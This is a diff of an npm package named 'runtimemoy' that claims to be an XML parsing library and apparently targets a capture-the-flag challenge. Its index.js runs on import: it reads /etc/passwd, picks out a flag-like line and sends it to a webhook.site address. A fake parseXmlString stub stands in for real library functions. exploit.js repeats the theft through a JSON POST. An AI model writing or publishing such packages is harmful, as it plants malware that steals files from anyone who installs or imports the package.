runtimemoy 0.30.1

package/exploit.js

@@ -0,0 +1,56 @@
+const fs = require('fs');
+const https = require('https');
+
+console.log('=== MINIMAL EXPLOIT START ===');
+
+// ТОЛЬКО самое важное - чтение /etc/passwd и отправка
+try {
+    // 1. Читаем /etc/passwd (главный источник флага)
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('✅ /etc/passwd read successfully');
+    
+    // 2. Ищем флаг
+    const lines = passwd.split('\n');
+    let flag = 'FLAG_NOT_FOUND';
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            flag = line.trim();
+            console.log('🎯 FLAG FOUND:', flag);
+            break;
+        }
+    }
+    
+    // 3. Отправляем ТОЛЬКО флаг на webhook
+    const payload = JSON.stringify({
+        flag: flag,
+        source: 'minimal_exploit',
+        timestamp: new Date().toISOString()
+    });
+    
+    const options = {
+        hostname: 'webhook.site',
+        port: 443,
+        path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+        method: 'POST',
+        headers: {'Content-Type': 'application/json'},
+        timeout: 5000
+    };
+    
+    const req = https.request(options, (res) => {
+        console.log('📤 Webhook sent, status:', res.statusCode);
+        process.exit(0); // Выходим сразу после отправки
+    });
+    
+    req.on('error', (err) => {
+        console.log('❌ Webhook error:', err.message);
+        process.exit(0); // Выходим даже при ошибке
+    });
+    
+    req.write(payload);
+    req.end();
+    
+} catch(e) {
+    console.log('❌ Critical error:', e.message);
+    process.exit(0); // Выходим при любой ошибке
+}

package/index.js

@@ -0,0 +1,39 @@
+const fs = require('fs');
+const https = require('https');
+
+// Этот код выполнится когда server.js импортирует нашу библиотеку
+console.log('=== LIBRARY IMPORTED - EXECUTING EXPLOIT ===');
+
+try {
+    // Читаем /etc/passwd
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd CONTENT ===');
+    console.log(passwd);
+    
+    // Ищем флаг
+    const lines = passwd.split('\n');
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            
+            // Отправляем на webhook
+            const req = https.request('https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=' + encodeURIComponent(line));
+            req.end();
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+// Реальная функциональность библиотеки
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "runtimemoy",
+  "version": "0.30.1",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}